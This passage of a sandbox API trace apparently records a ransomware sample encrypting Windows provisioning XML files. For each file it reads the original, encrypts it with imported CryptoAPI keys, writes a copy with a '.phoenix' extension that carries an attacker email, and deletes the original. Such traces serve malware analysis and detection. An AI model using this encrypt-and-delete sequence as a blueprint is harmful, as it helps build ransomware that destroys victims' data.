	[0226.428] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml")) returned 1
	[0226.430] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.430] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.430] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1631) returned 1
	[0226.430] CloseHandle (hObject=0x2cc) returned 1
	[0226.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml")) returned 0x20
	[0226.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.430] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.431] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.431] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.431] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.462] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0226.462] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.462] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x65f, lpOverlapped=0x0) returned 1
	[0226.484] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x660, dwBufLen=0x660 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x660) returned 1
	[0226.484] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x660, lpOverlapped=0x0) returned 1
	[0226.485] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0226.485] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.485] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0226.485] CryptDestroyKey (hKey=0x151500) returned 1
	[0226.485] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0226.485] CryptDestroyKey (hKey=0x151640) returned 1
	[0226.485] CloseHandle (hObject=0x2cc) returned 1
	[0226.485] CloseHandle (hObject=0x2e8) returned 1
	[0226.488] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml")) returned 1
	[0226.489] SetEvent (hEvent=0x298) returned 1
	[0226.489] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.489] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.489] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=428) returned 1
	[0226.490] CloseHandle (hObject=0x2e8) returned 1
	[0226.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml")) returned 0x20
	[0226.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.490] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.490] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.490] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.490] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.490] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0226.490] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.490] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1ac, lpOverlapped=0x0) returned 1
	[0226.801] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1b0) returned 1
	[0226.801] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1b0, lpOverlapped=0x0) returned 1
	[0226.802] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0226.802] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.802] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0226.803] CryptDestroyKey (hKey=0x151380) returned 1
	[0226.803] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0226.816] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0226.816] CloseHandle (hObject=0x2e8) returned 1
	[0226.816] CloseHandle (hObject=0x2cc) returned 1
	[0226.819] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime.xml")) returned 1
	[0226.820] SetEvent (hEvent=0x298) returned 1
	[0226.820] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.820] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.820] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=251) returned 1
	[0226.820] CloseHandle (hObject=0x2cc) returned 1
	[0226.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml")) returned 0x20
	[0226.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.821] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.821] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.821] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.821] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.824] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1514c0) returned 1
	[0226.824] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.824] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xfb, lpOverlapped=0x0) returned 1
	[0226.825] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0226.825] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0226.826] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1516c0) returned 1
	[0226.826] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.826] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0226.826] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0226.826] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0226.826] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0226.826] CloseHandle (hObject=0x2cc) returned 1
	[0226.826] CloseHandle (hObject=0x2e8) returned 1
	[0226.828] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml")) returned 1
	[0226.829] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.829] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.830] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4420) returned 1
	[0226.830] CloseHandle (hObject=0x2e8) returned 1
	[0226.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml")) returned 0x20
	[0226.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.830] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.830] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.830] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.830] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.831] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0226.831] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.831] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1144, lpOverlapped=0x0) returned 1
	[0226.837] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1150, dwBufLen=0x1150 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1150) returned 1
	[0226.837] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1150, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1150, lpOverlapped=0x0) returned 1
	[0226.838] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151440) returned 1
	[0226.838] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.838] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0226.838] CryptDestroyKey (hKey=0x151440) returned 1
	[0226.838] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0226.838] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0226.838] CloseHandle (hObject=0x2e8) returned 1
	[0226.838] CloseHandle (hObject=0x2cc) returned 1
	[0226.841] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml")) returned 1
	[0226.842] SetEvent (hEvent=0x298) returned 1
	[0226.842] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.842] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.843] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=271) returned 1
	[0226.843] CloseHandle (hObject=0x2cc) returned 1
	[0226.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml")) returned 0x20
	[0226.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.843] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.843] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.844] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.844] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.844] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0226.844] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.844] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10f, lpOverlapped=0x0) returned 1
	[0226.846] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0226.846] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0226.847] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0226.847] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.847] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0226.847] CryptDestroyKey (hKey=0x151080) returned 1
	[0226.847] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0226.848] CryptDestroyKey (hKey=0x151380) returned 1
	[0226.848] CloseHandle (hObject=0x2cc) returned 1
	[0226.848] CloseHandle (hObject=0x2e8) returned 1
	[0226.853] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml")) returned 1
	[0226.854] SetEvent (hEvent=0x298) returned 1
